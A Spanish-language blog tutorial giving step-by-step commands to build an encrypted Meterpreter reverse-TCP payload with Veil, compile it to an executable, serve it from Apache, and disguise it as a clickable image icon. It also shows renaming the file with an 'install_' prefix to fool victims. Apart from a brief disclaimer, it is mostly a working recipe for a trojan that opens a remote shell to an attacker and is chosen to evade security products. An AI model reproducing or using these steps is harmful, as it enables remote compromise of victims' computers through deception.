Como esconder un payload bajo una imagen
Si recordáis, en un post anterior escondíamos un mensaje cifrado bajo una imagen y se quedó una pregunta en el aire:
¿Es posible hacer que una imagen contenga un payload y que al hacer click sobre la misma esta se ejecute? He aquí la respuesta, que podréis descubrir a través de este pequeño e interesante manual acerca de como esconder un payload bajo una imagen. Espero que os guste.
He realizado este post con el objetivo de que veáis y aprendáis a qué clase de peligros estamos expuestos y como los “malos“ pueden colarse cual caballo de Troya, simplemente con una imagen. Importante: está información es para entender el cómo pero nunca debe ser utilizada de forma maliciosa.
Por Fernando Manrique
Buenas camaleones digitales
Para realizar esta operación utilizaremos kali para indexar el payload y windows para esconder el mismo bajo una imagen.
Actualización del sistema kali:
sudo apt-get update && sudo apt-get upgrade
Generación payload con veil nos permite usar un encrypter:
veil
Usamos la opción 1 (evasión)
use 1
Podemos ver que tenemos 41 tipos de payloads cargados.
Usaremos el comando list para ver la lista de payloads cargados y elegir el que deseamos usar.
use list
Selecionaremos la opción 28 (python/meterpreter/rev_tcp.py), pues la mayoría de los sistemas a comprometer lo dejan pasar sin problema alguno.
use 28
Nos mostrará las opciones a configurar para dicho payload, de las cuales tendremos que conformar las siguientes opciones:
➡️ LHOST: <ip atacante>
➡️ LPORT: <puerto de escucha>
➡️ USE_PYHERION: <encrypter>
Nota: si tras hacer esto os falla al generar el payload, se debe hacer el siguiente cambio en la versión del perfil:
# vi /usr/share/veil/config/setup.sh Change line 587 to: sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18" # vi /usr/share/veil/tools/evasion_common/encryption.py
Change line 21to:
aes_cipher_object = AES.new(random_aes_key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8')) # veil --setup again.
Asegúrate de tener los privilegions necesarios para poder generar el fichero de salida:
#sudo chown root:root -R /var/lib/veil/wine
Crearemos el payload executable con la opción PyInstaller por defecto, esto hace que aunque no se tenga en el equipo víctima python, este se ejecute de todas formas.
Para este caso el fichero que nos interesa es el siguiente:
Executable written to: /var/lib/veil/output/compiled/poke3.exe
Pasamos el payload a windows:
Levantamos el servicio de apache:
service apache2 start service apache2 status
movemos el fichero generado a /var/www/html
mv /var/lib/veil/output/compiled/poke3.exe /var/www/html
Descargamos el archivo en windows:
Una vez descargado el payload y con el programa Rescue Hacker vamos a guardar el archivo tras una imagen, de tal manera que cuando le llegue a la victima y pulse sobre la imagen para agrandarla, esta se ejecute automaticamente:
- Con el programa toYcon convertimos una imagen elegida a tipo ico, en mi caso he seleccionado la siguiente imagen de Pokemon siguiendo así con la anterior publicación.
El programa toYcon nos genera una caja donde deberemos situar la imagen y automáticamente se nos generará la imagen de tipo ico.
- Con el programa Rescue Hacker vamos a anidar el payload a la misma.
Nota: debemos guardarlo con la extensión de .exe
Como podemos ver en propiedades sobra la imagen que ha generado y ya no es .ico si no .exe.
Modificamos el nombre del mismo para que aparezca el icono del seguro, haciéndolo así aún más creíble para la víctima. Con la imagen selecionada pulsamos F2 y tras ello al principipo del nombre añadimos install_
¡¡¡Oh, Oh, Oh, lo logramos, bravo!!!
¡Muchas gracias #CamaleonesDigitales por vuestra atención, espero os haya resultado interesante el artículo!